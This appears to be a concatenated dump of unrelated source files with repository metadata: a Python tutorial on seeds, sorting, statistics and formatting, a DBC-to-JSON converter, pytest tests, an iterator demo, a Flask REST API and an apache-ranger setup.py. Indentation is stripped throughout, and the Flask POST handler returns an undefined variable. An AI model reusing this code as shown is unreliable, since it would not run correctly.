0.5329633233660277,
0.7662656130982124,
0.8460145442822357,
0.05511562729749986,
0.009731494763540849]
"""
"""
Solution:
"""
#%%
def make_random_real():
""" Make a list of 10 random integers that are the same each time """
numlis = []
for i in range(0,10):
numlis.append(random.random())
return numlis
#%%
"""
End solution
"""
"""
Exercise:
Rewrite make_random_real() using random.seed() to get the same random reals
each time. Run the function twice to show that you get the same set of
"random" numbers. A correct solution will display the same list each time it
is run. Return the list of random numbers rather than printing them.
Here are a couple of my runs using 17 as the seed:
make_same_random_real()
Out[45]:
[0.5219839097124932,
0.8066907771186791,
0.9604947743238768,
0.2896253777644655,
0.7661074377979527,
0.7042198668434126,
0.6613830572238304,
0.11016204891721182,
0.026936778790526805,
0.3841711045442975]
make_same_random_real()
Out[46]:
[0.5219839097124932,
0.8066907771186791,
0.9604947743238768,
0.2896253777644655,
0.7661074377979527,
0.7042198668434126,
0.6613830572238304,
0.11016204891721182,
0.026936778790526805,
0.3841711045442975]
"""
"""
Solution:
"""
#%%
def make_random_real():
""" Make a list of 10 random integers that are the same each time """
numlis = []
random.seed(17)
for i in range(0,10):
numlis.append(random.random())
return numlis
#%%
"""
End solution
"""
"""
SORTING LISTS
Exercise: Sorting lists, including numbers as well as lower and upper case
letters and strings.
Do with me. Use the line of code below to create a list.
"""
#%%
numlist = [67, 54, 39, 47, 38, 23, 99, 91, 91, 70]
#%%
"""
We use a method of lists to sort numlist. It permanently reorders the list.
"""
print(numlist)
numlist.sort()
print(numlist)
#%%
"""
Note that we already have a way of doing this sort. This doesn't permanently
change the list.
"""
print(sorted(numlist))
#%%
"""
Below we make a random list of 10 letters of the alphabet. By setting the
random seed, we insure that it generates the same list every time it is run.
"""
#%%
def make_alpha_list():
import random
alphabet = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o',
'p','q','r','s','t','u','v','w','x','y','z']
random.seed(17)
alpha_list = []
for i in range(0,10):
alpha_list.append(random.choice(alphabet))
return alpha_list
#%%
"""
Here we give the variable alphlist the value returned by make_alpha_list()
"""
alphlist = make_alpha_list()
#%%
alphlist = ['q', 'n', 'z', 'j', 'l', 'j', 'f', 'y', 'w', 'w']
#%%
print(alphlist)
alphlist.sort()
print(alphlist)
#%%
Alphlist = ['e', 'F', 'h', 'A', 'D', 'F', 'b', 'D', 'b', 'J']
#%%
# notice following is unsatisfactory for sorting mixed upper/lower case
print(Alphlist)
Alphlist.sort()
print(Alphlist)
#%%
# specifying the proper key fixes the problem
print(Alphlist)
Alphlist.sort(key=str.lower)
print(Alphlist)
#%%
strlist = ['now', 'is', 'the', 'time', 'for', 'all',
'good','men', 'to', 'come', 'to', 'the','aid', 'of', 'their', 'country']
#%%
print(strlist)
strlist.sort()
print(strlist)
#%%
Strlist = ['Now', 'is', 'The', 'time', 'For', 'All',
'Good','men', 'To', 'come', 'to', 'the','aid', 'of', 'Their', 'country']
#%%
# Note that all capital letters sort before lower case
print(Strlist)
Strlist.sort()
print(Strlist)
#%%
# this treats all capital letters as if they were lower case
print(Strlist)
Strlist.sort(key=str.lower)
print(Strlist)
#%%
"""
DESCRIPTIVE STATISTICS
Go to docs.python.org/3/ and search statistics. Go to that library.
You can alternatively, go to Help>Python Documention in Spyder and search
statistics in the index. You see the same thing.
"""
#%%
nlist = [2, 4, 13, 3, 7, 8, 5]
nlisteven = nlist + [9]
rlist = [3.14, 2.71, -8.43, 5.25, 10.11, -23.78, 44.45]
rlisteven = rlist + [90.3]
#%%
import statistics
#%%
statistics.mean(nlist)
#%%
statistics.mean(rlist)
#%%
print(nlist)
print(sorted(nlist)) # print sorted version of nlisteven to see median
#%%
statistics.median(nlist)
#%%
print(nlisteven)
print(sorted(nlisteven)) # print sorted version of nlisteven to see median
#%%
statistics.median(nlisteven) # note that it averages the two middle values
#%%
print(rlist)
print(sorted(rlist)) # print sorted version of rlist to see median
#%%
statistics.median(rlist)
#%%
print(rlisteven)
print(sorted(rlisteven)) # print sorted version of rlisteven to see median
#%%
statistics.median(rlisteven) # note that it averages the two middle values
#%%
mlist = [2, 3, 4, 5, 4, 5, 3, 6, 1, 3, 4, 3]
#%%
print(mlist)
print(sorted(mlist)) # print sorted version of mlist to see mode
#%%
statistics.mode(mlist)
#%%
statistics.stdev(rlist)
#%%
statistics.variance(rlist)
#%%
"""
list functions --- max, min, sum
"""
#%%
nlis = [3.14,-4,25,8,106,32]
print("the maximum of nlis is",max(nlis))
print("the minimum of nlis is",min(nlis))
print("the sum of nlis is",sum(nlis))
#%%
"""
USING DESCRIPTIVE STATISTICS; TRY/EXCEPT ERROR HANDLING
Example: Compute the statistics for the following list
"""
""" First let's generate a 100 random reals between 5000 and 6000 """
#%%
import random
stat_list = []
for i in range(0,100):
stat_list.append(1000*random.random()+5000)
ilis = [3, 1, 5, 2, 1, 3, 7, 3]
#%%
def my_stats(slis):
import statistics
print("Mean: ", statistics.mean(slis))
print("Median: ", statistics.median(slis))
# print("Mode: ", statistics.mode(slis))
# When the course was written the following illustrated exception handling.
# But with Python 3.8, there was a change. If two or more numbers came up
# as mode, an error occurred. With 3.8, it was decided to return the first
# number encountered if there were two or more equal candidates for mode.
# The next example does illustrate this. If your version is older this should
# work. stat_list is error trapped, but ilis works on older Python's. On new
# Python, neither generate an error.
try:
print("Mode: ", statistics.mode(slis))
except statistics.StatisticsError as e:
print("Mode error: ", e)
print("Standard Deviation: ", statistics.stdev(slis))
print("Variance: ", statistics.variance(slis))
#%%
"""
A simple example of try/except error catching. If the user inputs a number
then all is fine; if the user enters a non-number, then the exception is
caught and printed out.
"""
#%%
def test_try():
numb = input("Enter a number: ")
print(type(numb))
try:
num = float(numb)
print(num)
except Exception as e:
print("Exception was: ", e)
#%%
"""
Exercise:
Write a function temp_stat(temps) to compute the average, median, standard
deviation and variance of the temperatures in the table. Print each out.
The following code generates the same temperatures each time because the seed
is set. Print the temperature list as the first line of the function.
Here is what my run on the table of temperatures built below looks like:
temp_stat(temperatures)
[52, 61, 45, 50, 44, 34, 57, 80, 91, 50, 38, 91, 84, 20, 55, 23, 83, 42, 44, 84]
Mean: 56.4
Median: 51.0
Standard deviation: 22.04397518836526
Variance: 485.9368421052631
"""
#%%
import random
random.seed(77)
temperatures = []
for i in range(0,20):
temperatures.append(random.randint(20,95))
#%%
"""
Solution:
"""
#%%
def temp_stat(temps):
""" prints the average, median, std dev, and variance of temps """
import statistics
print("Mean: ", statistics.mean(temps))
print("Median: ", statistics.median(temps))
print("Standard Deviation: ", statistics.stdev(temps))
print("Variance: ", statistics.variance(temps))
#%%
"""
End solution
"""
"""
Exercise:
Add computing 'mode' to your solution to last exercise. In the temperature
list that we constructed, there is no unique mode, so that the program will
crash unless you use try/except error handling. See if you can add this
feature to your solution.
Note: if you change the seed to 277, then you will get a list that does have
a unique mode. You might like to try that.
Here is a run of my solution:
temp_stat(temperatures)
[52, 61, 45, 50, 44, 34, 57, 80, 91, 50, 38, 91, 84, 20, 55, 23, 83, 42, 44, 84]
Mean: 56.4
Median: 51.0
Standard deviation: 22.04397518836526
Variance: 485.9368421052631
Mode error: no unique mode; found 4 equally common values
"""
"""
Solution:
"""
#%%
def temp_stat(temps):
""" computes the average, median, std dev, and variance of temps """
import statistics
print(temps)
print("Mean: ", statistics.mean(temps))
print("Median: ", statistics.median(temps))
print("Standard Deviation: ", statistics.stdev(temps))
print("Variance: ", statistics.variance(temps))
try:
print("Mode: ", statistics.mode(temps))
except statistics.StatisticsError as e:
print("Mode error: ", e)
#%%
"""
FORMATING -- A BRIEF INTRODUCTION
Let's define a string and use the format method of strings to make a spiffier
printout. Suppose we wanted to print a person's name, age, and weight. Here is
a very brief introduction using name, age, and weight to illustrate.
"""
#%%
nam1 = '"Teddy" Roosevelt'
nam2 = 'Theodore "Teddy" Roosevelt'
age = 60
wt = 199.1515115
#%%
# minimal formating -- {n} represents data item n --- notice misalignment
out1 = "name: {0} age: {1} weight: {2}"
#%%
print("name: {0} age: {1} weight: {2}".format(nam1,age,wt))
print("name: {0} age: {1} weight: {2}".format(nam2,age,wt))
#%%
# better formatting > means right align (< and ^ would be left and center)
# the numbers represent the minimum characters occupied by the datum.
out2 = "name: {0:>26} age: {1:>4} weight: {2:>10}"
#%%
print("name: {0:>26} age: {1:>4} weight: {2:>10}".format(nam1,age,wt))
print("name: {0:>26} age: {1:>4} weight: {2:>10}".format(nam2,age,wt))
#%%
# for the float (real number), allocate 5 spaces with 2 to the right of "."
out3 = "name: {0:>26} age: {1:>4} weight: {2:>5.2f}"
#%%
print("name: {0:>26} age: {1:>4} weight: {2:>5.2f}".format(nam1,age,wt))
print("name: {0:>26} age: {1:>4} weight: {2:>5.2f}".format(nam2,age,wt))
#%%
"""
Note: we can use the string variable out3 in the print statement:
"""
#%%
print(out3.format(nam1,age,wt))
print(out3.format(nam2,age,wt))
#%%
s = "my short string"
n = 5.1234
#%%
print("Start||{0:25}||End".format(s))
#%%
#%%
print("Start||{0:25}||End".format(n))
#%%
"""
Exercise:
Execute the following string and use it to try some of the following in the
print("Start||{???}||End".format(s)) statement that would enable you to see
what the format has done. You can change what is in the {0: } quickly,
Ctrl-Enter to execute and see the result. Or you can up-arrow and modify
the previous version.
a) Use {0} to just print the string with no formating; {} does the same thing
b) Use {0:25} to print the string allowing a width of 25 characters for it
c) Use {0:>25} to print the string right-aligned in a space of 25 characters
d) Use {0:<25} to print the string left-aligned in a space of 25 characters
e) Use {0:^25} to print the string centered in a space of 25 characters
Here is what my output looked like:
Start||hello, there||End
Start||hello, there ||End - minimum width 25
Start|| hello, there||End - width 25, right aligned
Start||hello, there ||End - width 25, left aligned
Start|| hello, there ||End - width 25, centered
"""
#%%
""" Execute this. It is the string to work with: """
#%%
s = "hello, there"
#%%
""" The format statement to modify and work with: """
#%%
print("Start||{}||End".format(s))
#%%
"""
Solution:
"""
s = "hello, there"
print("Start||{}||End".format(s))
print("Start||{0:25}||End".format(s))
print("Start||{0:>25}||End".format(s))
print("Start||{0:<25}||End".format(s))
print("Start||{0:^25}||End".format(s))
"""
End Solution
"""
#%%
| [
"noreply@github.com"
] | noreply@github.com |
dc784ad9f8f002c1a90bc25194fb31cda435e55c | fc124dba378a82fedb2089237cbd8380f41a2995 | /dbc/dbc2json.py | d03b8bf12238461f86aaabafcea0afc1cef6805d | [] | no_license | jrsa/wow_scripts | dc2b17588d20bd056e1b581401dc27a31b10133e | 9b536b80128decf11121486d43985f6bd3cc469d | refs/heads/master | 2021-01-01T15:38:32.392372 | 2018-08-25T15:58:02 | 2018-08-25T15:58:02 | 97,664,166 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 668 | py | #! /usr/bin/env python3
"""
converts a DBC file to JSON format, using python 3s json module
"""
import sys
import os.path
import json
import wow.simple_file as sfile
from wow.dbc import DbcFile
from wow.dbc.format_import import FormatImport
try:
fn = sys.argv[1]
map_fn = sys.argv[2]
except IndexError as e:
print("usage: {} <dbc filename> <xml definition filename>".format(sys.argv[0]))
sys.exit(1)
f = sfile.load(fn)
rec_format = FormatImport(map_fn).get_format(os.path.basename(fn))
inst = DbcFile(rec_format)
inst.load(f)
path = os.path.basename(fn) + ".json"
print("saving to {}".format(path))
with open(path, "w") as f:
json.dump(inst.records, f) | [
"jrsa@jrsa.co"
] | jrsa@jrsa.co |
d4168e376905c3ccf748cc593f0e57c78cf8bc53 | 5cc5c6af05aa667ed8ab8d0d12845d8a597e0cff | /tests/test_task_list.py | 6fd3e8c1b6ce139a75950bd1d96896e0dd1e1a73 | [
"MIT"
] | permissive | tfkhim/auto-backup | 58e07774e2bfc8b95cf8bfa169514108a1ca24e6 | d6faed99ed4eed6bfd9b859b2fc5bc55d59d28a0 | refs/heads/master | 2023-02-23T08:30:30.514796 | 2022-11-05T12:32:28 | 2022-11-05T12:33:51 | 241,464,220 | 0 | 0 | MIT | 2023-02-08T04:25:49 | 2020-02-18T20:48:54 | Python | UTF-8 | Python | false | false | 920 | py | from unittest.mock import MagicMock, call
import pytest
from auto_backup.config import TaskList
class MockTask(str):
def is_active(self, tags):
return self in tags
@pytest.fixture
def task_factory():
def mock_factory(config):
return MockTask(config["name"])
return MagicMock(wraps=mock_factory)
@pytest.fixture
def config():
return [{"name": "task-1"}, {"name": "task-2"}]
@pytest.fixture
def task_list(task_factory, config):
return TaskList(task_factory, config)
def test_creates_tasks_from_configuration(task_list):
assert list(task_list) == ["task-1", "task-2"]
def test_factory_called_twice_with_task_config(task_list, task_factory, config):
list(task_list)
assert task_factory.call_args_list == [call(config[0]), call(config[1])]
def test_filter_by_tags(task_list):
task_list.filter_by_tags(["task-1"])
assert list(task_list) == ["task-1"]
| [
"9889638+tfkhim@users.noreply.github.com"
] | 9889638+tfkhim@users.noreply.github.com |
95502ab595a584f1de7be5054524ea97671baa2f | dcb984494ae1ae88192f0ba685f76a0dbc73dcdb | /venv/lib/python3.6/bisect.py | 1f16dfa58a74cdbde010e65540d31c009ef9d94d | [] | no_license | hornLK/Django_LKproject | 55393a7d92e5a4441df309c5d7c898c1e91e248f | c0ce7a524f2fc4c37b79deaab06c4abc08de7398 | refs/heads/master | 2021-04-30T14:52:36.223985 | 2018-03-30T04:04:12 | 2018-03-30T04:04:12 | 121,226,741 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 43 | py | /usr/local/python36/lib/python3.6/bisect.py | [
"bjlkq546449541@gmail.com"
] | bjlkq546449541@gmail.com |
97a9944271b7d91b192683ba190c0287a2a545fd | f281d0d6431c1b45c6e5ebfff5856c374af4b130 | /DAY001~099/DAY05-BOJ1260-DFS와BFS/joohyuk.py | db9bbd3aa34e66679027eda6a4ef5d38dca52708 | [] | no_license | tachyon83/code-rhino | ec802dc91dce20980fac401b26165a487494adb4 | b1af000f5798cd12ecdab36aeb9c7a36f91c1101 | refs/heads/master | 2022-08-13T09:10:16.369287 | 2022-07-30T11:27:34 | 2022-07-30T11:27:34 | 292,142,812 | 5 | 6 | null | null | null | null | UTF-8 | Python | false | false | 1,020 | py | import sys
from collections import deque
si = sys.stdin.readline
graph_unsorted = [set() for _ in range(1001)]
graph = [[]for _ in range(1001)]
visited = [False for _ in range(1001)]
def dfs(s):
print(s, end=' ')
for e in graph[s]:
if not visited[e]:
visited[e] = True
dfs(e)
def main():
n, m, v = [int(e) for e in si().split()]
while m:
m -= 1
a, b = [int(e) for e in si().split()]
graph_unsorted[a].add(b)
graph_unsorted[b].add(a)
for i in range(1, n+1):
e = list(graph_unsorted[i])
e.sort()
graph[i] = e
visited[v] = True
dfs(v)
print()
q = deque()
for i in range(1, n+1):
visited[i] = False
q.append(v)
visited[v] = True
while q:
curr = q.popleft()
print(curr, end=' ')
for e in graph[curr]:
if not visited[e]:
visited[e] = True
q.append(e)
print()
if __name__ == '__main__':
main()
| [
"noreply@github.com"
] | noreply@github.com |
fea30315f327aae3ec003223a38e8fcabc6592f4 | 73606e2bb5a03a71a40117ef08f107e03b691270 | /maeg/exploits/rop.py | ccec2b651c49fe488dc0d462710c61cc1fc8ce33 | [] | no_license | Wan-YunPeng/maeg | aabd1c29eb4f14b569fda8994465c9f4e0d5339e | 19f74717cd44a564035cbe36ae89e1ea3397334e | refs/heads/master | 2020-07-03T07:16:47.949571 | 2017-01-01T13:11:32 | 2017-01-01T13:11:32 | 74,189,668 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,084 | py | from ..exploit import Exploit
import logging
from ..payload import Payload
import os
l = logging.getLogger("aegg.exploits.rop")
l.setLevel('INFO')
SCRIPT = '''
from pwn import *
import sys
binary = '$binary$'
leak_symbol = '$leak_symbol$'
symbol = '$symbol$'
payload = $payload$
libc_path = '$libc$'
leak_off = $leak_off$
cmd = sys.argv[1]
elf = ELF(binary)
env = $env$
s = process(binary, env=env)
p = payload
p += (p32(elf.plt[leak_symbol]) +
p32(elf.symbols['main']) + p32(elf.got[symbol]))
s.sendline(p)
r = s.recvrepeat(0.3)
libc = ELF(libc_path)
libc_base = u32(r[leak_off: leak_off + 4]) - libc.symbols[symbol]
print 'libc_base = ' + hex(libc_base)
system_addr = libc_base + libc.symbols['system']
print 'system_addr = ' + hex(system_addr)
str_bin_sh_addr = libc_base + libc.search('/bin/sh').next()
print 'str_bin_sh_addr = ' + hex(str_bin_sh_addr)
p = payload
s.sendline(p + p32(system_addr) + p32(0xdeadbeef) + p32(str_bin_sh_addr))
# get shell!
print s.recvrepeat(0.3)
s.sendline(cmd)
print s.recvrepeat(0.3)
'''
class ROP(Exploit):
"""
leak based rop for x86 binary.
"""
LB = -4
UB = 4
TARGET_SYMBOL = '__libc_start_main'
def __init__(self, binary, path, analysis):
super(ROP, self).__init__(binary, path, analysis)
# These range will try to ajust the incorrect offset.
self._payload_range = ROP.LB
self._leak_off_range = ROP.LB
def _get_paylaod_leak_off(self):
tmp = self.path.copy()
state = tmp.state
state.add_constraints(state.ip == 0x31323334)
stdin = state.se.any_str(state.posix.get_file(0).all_bytes())
stdout = state.se.any_str(state.posix.get_file(1).all_bytes())
stdin_off = stdin.index('4321') + self._payload_range
payload = stdin[: stdin_off]
# + 12 because they're ret_addr, return2main and argv for leak function
leak_off = stdout.index('4321') + 12 + self._leak_off_range
return repr(payload), str(leak_off)
def _generate(self, env):
script = SCRIPT.strip()
# calculate offset
padding = self.analysis['padding'] + self._payload_range
padding = 0 if padding < 0 else padding
binary = self.binary
leak_symbol = self.analysis['elf']['leak_symbol'][0]
symbol = ROP.TARGET_SYMBOL
libc = self.analysis['elf']['libc']
try:
payload, leak_off = self._get_paylaod_leak_off()
except Exception, e:
l.warning('Can not get payload or leak_off %s %s' % (Exception, e))
return False
script = script.replace('$binary$', binary)
script = script.replace('$leak_symbol$', leak_symbol)
script = script.replace('$symbol$', symbol)
script = script.replace('$payload$', payload)
script = script.replace('$libc$', libc)
script = script.replace('$leak_off$', leak_off)
script = script.replace('$env$', env)
l.debug('script ...')
l.debug(script)
self.payload = script
return True
def gen_next(self):
self._leak_off_range += 1
if self._leak_off_range > ROP.UB:
self._leak_off_range = ROP.LB
self._payload_range += 1
if self._payload_range > ROP.UB:
return False
return True
def finish(self):
self._payload_range = ROP.UB
def generate(self):
if (not self.analysis['ip_symbolic'] or
self.analysis['padding'] == -1 or
not self.analysis['elf']['leak_symbol'] or
self.path.state.arch.name != 'X86'):
l.info('Skipped rop exploit.')
self.finish()
return ''
env = str({})
curdir = os.path.dirname(self.binary)
if os.path.isfile('%s/libc.so.6' % curdir):
l.info('Use local libc.so.6')
self.analysis['elf']['libc'] = '%s/libc.so.6' % curdir
env = str({'LD_LIBRARY_PATH': curdir})
if self._generate(env):
return Payload(self.payload, 'script')
return ''
| [
"425324478@qq.com"
] | 425324478@qq.com |
46897c6dd8ea085f279114dadf75e9ec3adcfb5d | 47d65705f7764864b9cf8d437adfc5834d7cbc1d | /backend/src/api.py | f1a3e612bb49b3a3a446f655591e291ff477c959 | [] | no_license | SonicEdge1/Coffee-Shop | 8de451aa81076dc139ed8be22fad5c2a224f76eb | 3520293cf969fa6a2ca8105f3b81b3be54b933f0 | refs/heads/main | 2023-08-18T17:17:53.679220 | 2021-09-21T23:51:10 | 2021-09-21T23:51:10 | 407,685,424 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,150 | py | # Link to get JWT token
# https://joes-coffee-shop.us.auth0.com/authorize?audience=CoffeeShopAPI&response_type=token&client_id=fjb33CnyG41x67vtWHdhTREa450KpVkh&redirect_uri=http://localhost:8080/login-results
import json
from flask import Flask, request, abort, jsonify
from flask_cors import CORS
from .database.models import db_drop_and_create_all, setup_db, Drink
from .auth.auth import AuthError, requires_auth
OK = 200
BAD_REQUEST = 400
BAD_REQUEST_MSG = "Bad Request"
UNAUTHORIZED = 401
UNAUTHORIZED_MSG = "Unauthorized"
FORBIDDEN = 403
FORBIDDEN_MSG = "Forbidden"
RESOURCE_NOT_FOUND = 404
RESOURCE_NOT_FOUND_MSG = "Resource Not Found"
UNPROCESSABLE_ENTITY = 422
UNPROCESSABLE_ENTITY_MSG = "Unprocessable Entity"
INTERNAL_SERVER_ERROR = 500
INTERNAL_SERVER_ERROR_MSG = "Unknown Authorization Error"
app = Flask(__name__)
setup_db(app)
CORS(app)
'''
*** uncomment the following line to initialize the datbase
!! NOTE THIS WILL DROP ALL RECORDS AND START YOUR DB FROM SCRATCH
!! NOTE THIS MUST BE UNCOMMENTED ON FIRST RUN
!! Running this funciton will add one
'''
db_drop_and_create_all()
# ROUTES
@app.route('/drinks')
def get_drinks():
'''
GET /drinks
public endpoint
contains only the drink.short() data representation
returns status code 200 and json {"success": True, "drinks": drinks}
where drinks is the list of drinks
or appropriate status code indicating reason for failure
'''
try:
all_drinks = Drink.query.all()
drinks = [drink.short() for drink in all_drinks]
return jsonify({
'success': True,
'drinks': drinks,
}), OK
except Exception as e:
print("Exception: ", e)
abort(UNPROCESSABLE_ENTITY)
@app.route('/drinks-detail')
@requires_auth('get:drinks-detail')
def get_drinks_detail(payload):
'''
GET /drinks-detail
requires the 'get:drinks-detail' permission
contains the drink.long() data representation
returns status code 200 and json {"success": True, "drinks": drinks}
where drinks is the list of drinks
or appropriate status code indicating reason for failure
'''
try:
all_drinks = Drink.query.all()
drinks = [drink.long() for drink in all_drinks]
return jsonify({
'success': True,
'drinks': drinks,
}), OK
except Exception as e:
print("Exception: ", e)
abort(UNPROCESSABLE_ENTITY)
@app.route('/drinks', methods=['POST'])
@requires_auth('post:drinks')
def add_drink(payload):
'''
POST /drinks
creates a new row in the drinks table
requires the 'post:drinks' permission
contains the drink.long() data representation
returns status code 200 and json {"success": True, "drinks": drink}
where drink an array containing only the newly created drink
or appropriate status code indicating reason for failure
'''
try:
body = request.get_json()
new_title = body.get("title")
new_recipe = body.get("recipe")
new_drink = Drink(
title=new_title,
recipe=json.dumps(new_recipe)
)
new_drink.insert()
queried_drink = Drink.query.filter(
Drink.title == new_title).one_or_none()
drink = [queried_drink.long()]
return jsonify({
'success': True,
'drinks': drink,
}), OK
except Exception as e:
print("Exception: ", e)
abort(UNPROCESSABLE_ENTITY)
@app.route('/drinks/<int:drink_id>', methods=['PATCH'])
@requires_auth('patch:drinks')
def update_drink(payload, drink_id):
'''
PATCH /drinks/<id>
where <id> is the existing model id
responds with a 404 error if <id> is not found
updates the corresponding row for <id>
requires the 'patch:drinks' permission
contains the drink.long() data representation
returns status code 200 and json {"success": True, "drinks": drink}
where drink an array containing only the updated drink
or appropriate status code indicating reason for failure
'''
queried_drink = Drink.query.filter(Drink.id == drink_id).one_or_none()
if queried_drink is None:
print("drink: ", queried_drink)
abort(RESOURCE_NOT_FOUND)
try:
body = request.get_json()
edited_title = body.get("title")
edited_recipe = body.get("recipe")
queried_drink.title = edited_title
queried_drink.recipe = json.dumps(edited_recipe)
queried_drink.update()
drink = [queried_drink.long()]
return jsonify({
'success': True,
'drinks': drink,
}), OK
except Exception as e:
print("Exception: ", e)
abort(UNPROCESSABLE_ENTITY)
@app.route('/drinks/<int:drink_id>', methods=['DELETE'])
@requires_auth('delete:drinks')
def delete_drink(payload, drink_id):
'''
DELETE /drinks/<id>
where <id> is the existing model id
responds with a 404 error if <id> is not found
deletes the corresponding row for <id>
requires the 'delete:drinks' permission
returns status code 200 and json {"success": True, "delete": id}
where id is the id of the deleted record
or appropriate status code indicating reason for failure
'''
drink = Drink.query.get(drink_id)
if drink is None:
print("drink: ", drink)
abort(RESOURCE_NOT_FOUND)
try:
drink.delete()
return jsonify({
'success': True,
'delete': drink_id,
}), OK
except Exception as e:
print("Exception: ", e)
abort(UNPROCESSABLE_ENTITY)
# Error Handling
@app.errorhandler(422)
def unprocessable(error):
return jsonify({
"success": False,
"error": UNPROCESSABLE_ENTITY,
"message": UNPROCESSABLE_ENTITY_MSG
}), UNPROCESSABLE_ENTITY
@app.errorhandler(404)
def resource_not_found(error):
return jsonify({
"success": False,
"error": RESOURCE_NOT_FOUND,
"message": RESOURCE_NOT_FOUND_MSG
}), RESOURCE_NOT_FOUND
@app.errorhandler(AuthError)
def auth_error(error):
# 401
if error.status_code == UNAUTHORIZED:
return jsonify({
"success": False,
"error": UNAUTHORIZED,
"message": UNAUTHORIZED_MSG
}), UNAUTHORIZED
# 403
elif error.status_code == FORBIDDEN:
return jsonify({
"success": False,
"error": FORBIDDEN,
"message": FORBIDDEN_MSG
}), FORBIDDEN
# 400
elif error.status_code == BAD_REQUEST:
return jsonify({
"success": False,
"error": BAD_REQUEST,
"message": BAD_REQUEST_MSG
}), BAD_REQUEST
else:
return jsonify({
"success": False,
"error": INTERNAL_SERVER_ERROR,
"message": INTERNAL_SERVER_ERROR_MSG
}), INTERNAL_SERVER_ERROR
| [
"joseph.bell.17@us.af.mil"
] | joseph.bell.17@us.af.mil |
93f40d4918907f15aad52856cb8a80bb9202195c | e6252e7ad0e024cd20e0e0779347945b735dd64a | /myenv/restdemo.py | 2c0d9453c08607d15e642c47b4412ccd350d5fee | [] | no_license | Icode4passion/FlaskApp_RestDemo_Calculator_WeightConvertor | 97391a9c7ed1f2b6eab402169f52ac17e4e49c64 | 8865d0d98c070331e3ebcd70ecd5b7ad2dd9c2e2 | refs/heads/master | 2020-04-11T07:33:25.152968 | 2018-12-13T14:33:29 | 2018-12-13T14:33:29 | 161,614,605 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,219 | py | from flask import Flask , jsonify , make_response , abort, render_template , request
app = Flask(__name__)
movies = [
{
'id' : 1,
'title': 'Batman',
'Author': 'Bob Kane',
'Director' : 'Christopher'
},
{
'id' : 2,
'title': 'Superman',
'Author': 'Jerry Siegel',
'Director' : 'Richard Donner'
}]
@app.route('/movie/api/v1.0/movies',methods=['GET'])
def get_tasks():
return jsonify({'movies':movies})
@app.route('/movie/api/v1.0/movies/<int:movie_id>',methods=['GET'])
def get_tasks_id(movie_id):
movie = [movie for movie in movies if movie['id'] == movie_id]
if len(movie) == 0 :
abort(400)
return jsonify({'movie': movie[0]})
@app.errorhandler(400)
def errorhandler(error):
return make_response(jsonify({'error':'Not Found'}),404)
#return render_template('home.html')
@app.route('/movie/api/v1.0/movies',methods=['POST'])
def create_tasks():
if not request.json or not 'title' in request.json:
abort(400)
movie ={
'id' : movies[-1]['id'] +1,
'title' : request.json['title'],
'Author' : request.json.get('Author', ''),
'Director' : request.json.get('Director', ''),
}
movies.append(movie)
return jsonify({'task':task}),201
if __name__ == '__main__':
app.run(debug = True)
| [
"yogeerama@gmail.com"
] | yogeerama@gmail.com |
c24bb5cb56ddb6cbf644b89d09116e64ea01f40d | 33421188df7d7dcf2ee9be0771b0f2fe1ffad4f5 | /2011/gul-uc3m/python-avanzado/examples/iterators/iterators.py | fdf342711c46c679476ecaff0225276502f1e47f | [
"CC-BY-4.0"
] | permissive | Gustavo17/ponencias | c0482fc7a72d7d4d829a54b94775e77c81ca5d97 | effb002b0300fe57d26776654b61a2396010da40 | refs/heads/master | 2021-01-13T09:18:13.837313 | 2014-11-21T04:58:11 | 2014-11-21T04:58:11 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 616 | py | def generador():
for x in range(1,10):
yield x
class Iterador(object):
def __iter__(self):
for x in range(1,10):
yield x
class Iterador2(object):
def __init__(self):
self.max = 10
self.counter = 0
def __iter__(self):
return self
def next(self):
self.counter += 1
if self.counter<self.max:
return self.counter
else:
raise StopIteration
print "GENERADOR"
for x in generador():
print x
print "ITERADOR"
for x in Iterador():
print x
print "ITERADOR2"
for x in Iterador2():
print x
| [
"jespinog@gmail.com"
] | jespinog@gmail.com |
b1973d33b3f3a94fd137449f2fe07c0feaafe84d | 1830d10c03c51472150a67864815e471acbc4098 | /intg/src/main/python/setup.py | 5222d715365a32d8784aebf71e70bfd66616756e | [
"Apache-2.0",
"BSD-3-Clause",
"WTFPL",
"MIT",
"GPL-2.0-only"
] | permissive | andrewluotechnologies/ranger | ef7c2941592ab20e3f944dd76993b3b11723e145 | 41782aa8872a4788850441177103ce44034c3f0b | refs/heads/master | 2023-03-07T16:58:20.140889 | 2023-02-17T06:48:07 | 2023-02-21T08:52:29 | 207,180,288 | 0 | 0 | Apache-2.0 | 2019-09-08T22:14:47 | 2019-09-08T22:14:46 | null | UTF-8 | Python | false | false | 1,744 | py | #!/usr/bin/env python
#
# Licensed to the Apache Software Foundation (ASF) under one or more
# contributor license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The ASF licenses this file to You under the Apache License, Version 2.0
# (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from setuptools import setup, find_packages
# External dependencies
requirements = ['requests>=2.24']
long_description = ''
with open("README.md", "r") as fh:
long_description = fh.read()
setup(
name="apache-ranger",
version="0.0.8",
author="Apache Ranger",
author_email="dev@ranger.apache.org",
description="Apache Ranger Python client",
long_description=long_description,
long_description_content_type="text/markdown",
url="https://github.com/apache/ranger/tree/master/intg/src/main/python",
license='Apache LICENSE 2.0',
classifiers=[
"Programming Language :: Python :: 2.7",
"License :: OSI Approved :: Apache Software License",
"Operating System :: OS Independent",
],
packages=find_packages(),
install_requires=requirements,
include_package_data=True,
zip_safe=False,
keywords='ranger client, apache ranger',
python_requires='>=2.7',
)
| [
"madhan@apache.org"
] | madhan@apache.org |
